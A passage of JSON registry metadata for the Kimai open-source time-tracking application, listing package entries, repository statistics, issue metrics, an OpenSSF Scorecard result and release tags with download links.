.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6.1/manifests"},{"name":"1.6","sha":"724eb9c6584e820642eb6c32fd4de1ecfc5b76d8","kind":"commit","published_at":"2019-11-24T14:29:01.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.6","html_url":"https://github.com/kimai/kimai/releases/tag/1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.6/manifests"},{"name":"1.5","sha":"140fa4b7c0bf2fd4b9111685f4c54e8cd2168d55","kind":"commit","published_at":"2019-11-03T16:31:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.5","html_url":"https://github.com/kimai/kimai/releases/tag/1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.5/manifests"},{"name":"1.4.2","sha":"de533e7031ae194b35f6a638cd95f5c94c516796","kind":"commit","published_at":"2019-10-14T10:30:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.4.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"ae6ed3f23f1ab49187acf5d209e9ef6fb7a44cf6","kind":"commit","published_at":"2019-10-07T14:04:19.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.4.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4.1/manifests"},{"name":"1.4","sha":"32aa209b7553b8827b8009ba7f389789842458bf","kind":"commit","published_at":"2019-10-04T05:36:59.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.4","html_url":"https://github.com/kimai/kimai/releases/tag/1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.4/manifests"},{"name":"1.3","sha":"8f2b82b8326846f43bde5a8fd0db78970f1bd625","kind":"commit","published_at":"2019-09-11T22:36:48.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.3","html_url":"https://github.com/kimai/kimai/releases/tag/1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.3/manifests"},{"name":"1.2","sha":"94f8159fdc3c5f6c2153082a2457161790a90ec3","kind":"commit","published_at":"2019-08-27T16:37:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.2","html_url":"https://github.com/kimai/kimai/releases/tag/1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.2/manifests"},{"name":"1.1","sha":"12803b39578b58deefe3ce65d23115401e181ae0","kind":"commit","published_at":"2019-07-24T17:38:46.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.1/manifests"},{"name":"1.0.1","sha":"f0822fa2b12b7fb4a74d028d8fc8024f49b17602","kind":"commit","published_at":"2019-07-05T17:25:06.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.0.1","html_url":"https://github.com/kimai/kimai/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.0.1/manifests"},{"name":"1.0","sha":"94e49ea86fd94c8e5263e220cacba4670bb8b4f3","kind":"commit","published_at":"2019-07-02T10:10:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.0/manifests"},{"name":"0.9","sha":"6dc4fa08117f59d146df737736b3ca8659a55d0c","kind":"commit","published_at":"2019-04-29T00:29:40.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.9","html_url":"https://github.com/kimai/kimai/releases/tag/0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.9/manifests"},{"name":"0.8.1","sha":"1f7ec6769a70bc4dec42fd899f424224dd9e82e9","kind":"commit","published_at":"2019-02-22T17:05:45.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.8.1","html_url":"https://github.com/kimai/kimai/releases/tag/0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.8.1/manifests"},{"name":"0.8","sha":"0b57bd51caed7dfec00dfe269aeeb7743bffecbd","kind":"commit","published_at":"2019-02-19T12:39:08.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.8","html_url":"https://github.com/kimai/kimai/releases/tag/0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.8/manifests"},{"name":"0.7","sha":"67dab35b57190299d5c1cd486fc4f23aa9d2b3a0","kind":"commit","published_at":"2019-01-28T00:40:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.7","html_url":"https://github.com/kimai/kimai/releases/tag/0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.7/manifests"},{"name":"0.6.1","sha":"f74547008d02fcc408e586e7a90e13785245a34d","kind":"commit","published_at":"2018-11-19T15:17:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.6.1","html_url":"https://github.com/kimai/kimai/releases/tag/0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.6.1/manifests"},{"name":"0.6","sha":"417675b3dfbfd0a0659570ed8785db005ff60d3f","kind":"commit","published_at":"2018-11-18T19:45:00.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.6","html_url":"https://github.com/kimai/kimai/releases/tag/0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.6/manifests"},{"name":"0.5","sha":"53053c127e2820e0e4dda505470dee267af866dc","kind":"commit","published_at":"2018-09-27T11:35:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.5","html_url":"https://github.com/kimai/kimai/releases/tag/0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.5/manifests"},{"name":"0.4","sha":"6fb6a16246c74409fcb043be88b1efad6ca2667d","kind":"commit","published_at":"2018-09-01T19:05:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.4","html_url":"https://github.com/kimai/kimai/releases/tag/0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.4/manifests"},{"name":"0.3","sha":"20a2d9499671ff403bcf830cefb22a0436be587b","kind":"commit","published_at":"2018-07-22T22:43:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.3","html_url":"https://github.com/kimai/kimai/releases/tag/0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.3/manifests"},{"name":"0.2","sha":"f563e0703d8ecaa426ad367bd23f0348a7a2b40e","kind":"commit","published_at":"2018-06-23T23:18:55.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.2","html_url":"https://github.com/kimai/kimai/releases/tag/0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.2/manifests"},{"name":"0.1","sha":"c011b83b73dc943c770e6009bfa26447c9feff74","kind":"tag","published_at":"2018-01-12T18:42:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.1","html_url":"https://github.com/kimai/kimai/releases/tag/0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.1/manifests"}]},"repo_metadata_updated_at":"2026-08-28T01:18:08.543Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":4.796011385411047,"dependent_packages_count":4.494101325906062,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":4.6450563556585545},"purl":"pkg:golang/github.com/kimai/kimai","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/kimai/kimai","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/kimai/kimai","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/kimai/kimai/dependencies","status":"removed","funding_links":["https://github.com/sponsors/kevinpapst","https://opencollective.com/kimai"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-25T23:10:43.514Z","issues_count":815,"pull_requests_count":727,"avg_time_to_close_issue":11029758.918918919,"avg_time_to_close_pull_request":841206.0241935484,"issues_closed_count":518,"pull_requests_closed_count":620,"pull_request_authors_count":80,"issue_authors_count":454,"avg_comments_per_issue":2.343558282208589,"avg_comments_per_pull_request":1.5364511691884457,"merged_pull_requests_count":542,"bot_issues_count":0,"bot_pull_requests_count":1,"past_year_issues_count":61,"past_year_pull_requests_count":163,"past_year_avg_time_to_close_issue":1717847.894736842,"past_year_avg_time_to_close_pull_request":805142.9115044248,"past_year_issues_closed_count":38,"past_year_pull_requests_closed_count":113,"past_year_pull_request_authors_count":33,"past_year_issue_authors_count":50,"past_year_avg_comments_per_issue":2.360655737704918,"past_year_avg_comments_per_pull_request":1.7914110429447854,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":103,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/issues","maintainers":[{"login":"kevinpapst","count":423,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kevinpapst"},{"login":"tobybatch","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tobybatch"}],"active_maintainers":[{"login":"kevinpapst","count":86,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kevinpapst"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fkimai%2Fkimai/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fkimai%2Fkimai/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fkimai%2Fkimai/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fkimai%2Fkimai/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fkimai%2Fkimai/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fkimai%2Fkimai/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2282188,"maintainers_count":0,"namespaces_count":839573,"keywords_count":126245,"github":"golang","metadata":{"funded_packages_count":69842,"sync_missing_packages_cursor":{"timestamp":"2026-08-17T00:00:58.969562Z","path":"github.com/Tektoncd/operator","version":"v0.78.0"},"rate_limit":1},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-09-01T05:03:01.892Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":596964,"name":"kimai/kimai","ecosystem":"packagist","description":"Kimai - Time Tracking","homepage":"","licenses":"AGPL-3.0-or-later","normalized_licenses":["AGPL-3.0-or-later"],"repository_url":"https://github.com/kimai/kimai","keywords_array":[],"namespace":"kimai","versions_count":219,"first_release_published_at":"2018-01-10T22:20:36.000Z","latest_release_published_at":"2026-08-11T15:14:38.000Z","latest_release_number":"2.65.0","last_synced_at":"2026-09-01T05:43:01.678Z","created_at":"2022-04-07T09:55:54.873Z","updated_at":"2026-09-01T13:18:21.995Z","registry_url":"https://packagist.org/packages/kimai/kimai#","install_command":"composer require kimai/kimai","documentation_url":null,"metadata":{"funding":[{"url":"https://github.com/kevinpapst","type":"github"},{"url":"https://opencollective.com/kimai","type":"open_collective"}]},"repo_metadata":{"id":37451210,"uuid":"71485542","full_name":"kimai/kimai","owner":"kimai","description":"Kimai is the #1 open-source time-tracking application. From freelancers to companies and organisations - everyone can manage timesheets, generate reports, create invoices and so much more... Web-based multi-user application, available as On-Premise or SaaS version: https://www.kimai.org","archived":false,"fork":false,"pushed_at":"2026-08-19T12:20:11.000Z","size":59842,"stargazers_count":4918,"open_issues_count":332,"forks_count":828,"subscribers_count":57,"default_branch":"main","last_synced_at":"2026-08-19T13:43:17.313Z","etag":null,"topics":["doctrine","invoice","invoicing","kimai","multilanguage","php","self-hosted","symfony","tabler","time-tracker","time-tracking","timetracker","timetracking","timetrackingapp","twig"],"latest_commit_sha":null,"homepage":"https://www.kimai.org","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/kimai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["kevinpapst"],"open_collective":"kimai"}},"created_at":"2016-10-20T17:06:34.000Z","updated_at":"2026-08-19T12:24:33.000Z","dependencies_parsed_at":"2026-08-12T01:39:31.924Z","dependency_job_id":null,"html_url":"https://github.com/kimai/kimai","commit_stats":{"total_commits":1485,"total_committers":77,"mean_commits":"19.285714285714285","dds":0.2767676767676768,"last_synced_commit":"84a0ca5ce6673dc45660dbf0c0d8968b9a609b70"},"previous_names":["kevinpapst/kimai2"],"tags_count":211,"template":false,"template_full_name":null,"purl":"pkg:github/kimai/kimai","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kimai","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/sbom","scorecard":{"id":557280,"data":{"date":"2025-08-11","repo":{"name":"github.com/kimai/kimai","commit":"023048e7c01217da969a516542a576ea277aaf53"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Code-Review","score":3,"reason":"Found 10/30 approved changesets -- score normalized to 3","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"27 commit(s) and 10 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":-1,"reason":"no workflows found","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":-1,"reason":"No tokens found","details":null,"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: GNU Affero General Public License v3.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: containerImage not pinned by hash: Dockerfile:37","Warn: containerImage not pinned by hash: Dockerfile:44","Warn: containerImage not pinned by hash: Dockerfile:80","Warn: containerImage not pinned by hash: Dockerfile:91","Warn: containerImage not pinned by hash: Dockerfile:97","Warn: containerImage not pinned by hash: Dockerfile:101","Warn: containerImage not pinned by hash: Dockerfile:106","Warn: containerImage not pinned by hash: Dockerfile:110","Warn: containerImage not pinned by hash: Dockerfile:114","Warn: containerImage not pinned by hash: Dockerfile:118","Warn: containerImage not pinned by hash: Dockerfile:125","Warn: containerImage not pinned by hash: Dockerfile:157","Warn: containerImage not pinned by hash: Dockerfile:185","Warn: containerImage not pinned by hash: Dockerfile:224","Warn: containerImage not pinned by hash: Dockerfile:238","Warn: containerImage not pinned by hash: Dockerfile:285","Warn: containerImage not pinned by hash: Dockerfile:306","Info:   0 out of  17 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-20T12:42:24.169Z","repository_id":37451210,"created_at":"2025-08-20T12:42:24.169Z","updated_at":"2025-08-20T12:42:24.169Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36783960,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-19T02:00:06.185Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"kimai","name":"Kimai - Time Tracking Software","uuid":"981996","kind":"organization","description":"A free and open-source time-tracker built with PHP","email":null,"website":"https://www.kimai.org","location":"Austria","twitter":"kimai_org","company":null,"icon_url":"https://avatars.githubusercontent.com/u/981996?v=4","repositories_count":10,"last_synced_at":"2023-09-08T03:15:23.399Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/kimai","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2022-11-08T03:38:25.697Z","updated_at":"2023-09-08T03:15:24.435Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kimai","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kimai/repositories"},"tags":[{"name":"2.65.0","sha":"fd8989e9011aeff0a9ed573c294707140b4401b0","kind":"commit","published_at":"2026-08-11T15:14:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.65.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.65.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.65.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.65.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.65.0/manifests"},{"name":"2.64.0","sha":"1ee41264d797980296cac7dacf900c4b964c59fc","kind":"commit","published_at":"2026-08-09T17:07:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.64.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.64.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.64.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.64.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.64.0/manifests"},{"name":"2.63.0","sha":"2e1c9e48b437cce69dcd52d0083862237ce0b321","kind":"commit","published_at":"2026-08-03T11:36:14.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.63.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.63.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.63.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.63.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.63.0/manifests"},{"name":"2.62.0","sha":"0164f2ba8f3c975c266c5bbb40a2a3789e583c4c","kind":"commit","published_at":"2026-07-09T20:16:05.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.62.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.62.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.62.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.62.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.62